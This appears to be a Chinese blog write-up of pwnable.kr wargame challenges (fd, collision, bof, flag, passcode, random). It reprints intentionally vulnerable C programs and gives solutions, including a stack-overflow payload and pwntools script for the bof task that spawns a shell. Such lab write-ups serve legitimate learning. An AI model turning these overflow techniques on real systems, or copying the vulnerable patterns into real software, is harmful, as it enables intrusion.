Pwnable小结

用这一会闲着没啥事，就把之前做的pwnable上面的题来总结下吧。

0x01 fd：

源码：

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
    if(argc<2){
        printf("pass argv[1] a number
");
        return 0;
    }
    int fd = atoi( argv[1] ) - 0x1234;
    int len = 0;
    len = read(fd, buf, 32);
    if(!strcmp("LETMEWIN
", buf)){
        printf("good job :)
");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO
");
    return 0;

}

让read变成标准输入（使fd变成0），然后输入LETMEWIN字符串。

0x02 collision：

源码：

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
    int* ip = (int*)p;
    int i;
    int res=0;
    for(i=0; i<5; i++){
        res += ip[i];
    }
    return res;
}

int main(int argc, char* argv[]){
    if(argc<2){
        printf("usage : %s [passcode]
", argv[0]);
        return 0;
    }
    if(strlen(argv[1]) != 20){
        printf("passcode length should be 20 bytes
");
        return 0;
    }

    if(hashcode == check_password( argv[1] )){
        system("/bin/cat flag");
        return 0;
    }
    else
        printf("wrong passcode.
");
    return 0;
} 

这个题是设置了一个hashcode 然后输入20个字符的ASCII相加等于这个值就行了，那么我们就找20个字符就行了。

0x03 bof：

源码：

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..
");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

 这个就是修改内存中的key的数据，把0xdeadbeef改为我们需要的0xcafebabe，这样就简单了，从我们输入的偏移位置替换数据就可以了。

 我们先来输入40个A找一下偏移，会发现偏移为52，当然也可以从ida中静态分析出偏移为0x2c+8 =52：

那测试下吧，输入：(python -c "print 'A'*52+ 'xbexbaxfexca'";cat) | nc pwnable.kr 9000

果然取得了权限，那么现在我们来练习一下用脚本来实现这个功能。

from pwn import*
debug = 1
loacl = 0

if loacl:
    p = process('./bof')
else:
    p = remote('pwnable.kr',9000)

key = 0xcafebabe

payload  = 'A'*52 + p32(key)

p.sendline(payload)

p.interactive()

 

 本地运行下，看看脚本的效果：

 

 

本地也成功的跑出来了，挺好玩吧！ 

0x04 flag：

Linux 64位的ELF逆向题，UPX加壳，需要脱壳upx -d，ida找flag关键字。再用notepad++，搜索下UPX能找到flag了。

falg：UPX...? sounds like a delivery service :)

0x05 passcode：

源码：

是一个关于sacnf取地址符有无的问题，我写过一个单独的文章，详细见那个passcode的文章。

#include <stdio.h>
#include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);

    printf("checking...
");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!
");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!
");
        exit(0);
        }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!
", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.
");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)
");
    return 0;    
}

0x06 random：

源码：

#include <stdio.h>

int main(){
    unsigned int random;
    random = rand();    // random value!

    unsigned int key=0;
    scanf("%d", &key);

    if( (key ^ random) == 0xdeadbeef ){
        printf("Good!
");
        system("/bin/cat flag");
        return 0;
    }

    printf("Wrong, maybe you should try 2^32 cases.
");
    return 0;
}

咋一看挺吓人的啊，随机数怎么抓？其实就那样，首先自己编译了一下随机数的程序，看看到底是个什么东西。

#include<stdio.h>

int main(){
    unsigned int random;
    random = rand();    // random value!

    printf("%u
",random);
    return 0;
}

发现每次运行出来都是同一个数据，那就简单了，在与目标数据进行异或下

成功解出来了。下面我们来分析下为什么随机数变成了固定数呢？

定义函数 :int rand(void)
函数说明 :
因为rand的内部实现是用线性同余法做的，他不是真的随机数，只不过是因为其周期特别长，所以有一定的范围里可看成是随机的，rand()会返回一随机数值，范围在0至RAND_MAX 间。在调用此函数产生随机数前，必须先利用srand()设好随机数种子，如果未设随机数种子，rand()在调用时会自动设随机数种子为1。rand()产生的是假随机数字，每次执行时是相同的。若要不同,以不同的值来初始化它.初始化的函数就是srand()。

 

后面的题等有空了在写上面吧，今天有点困了。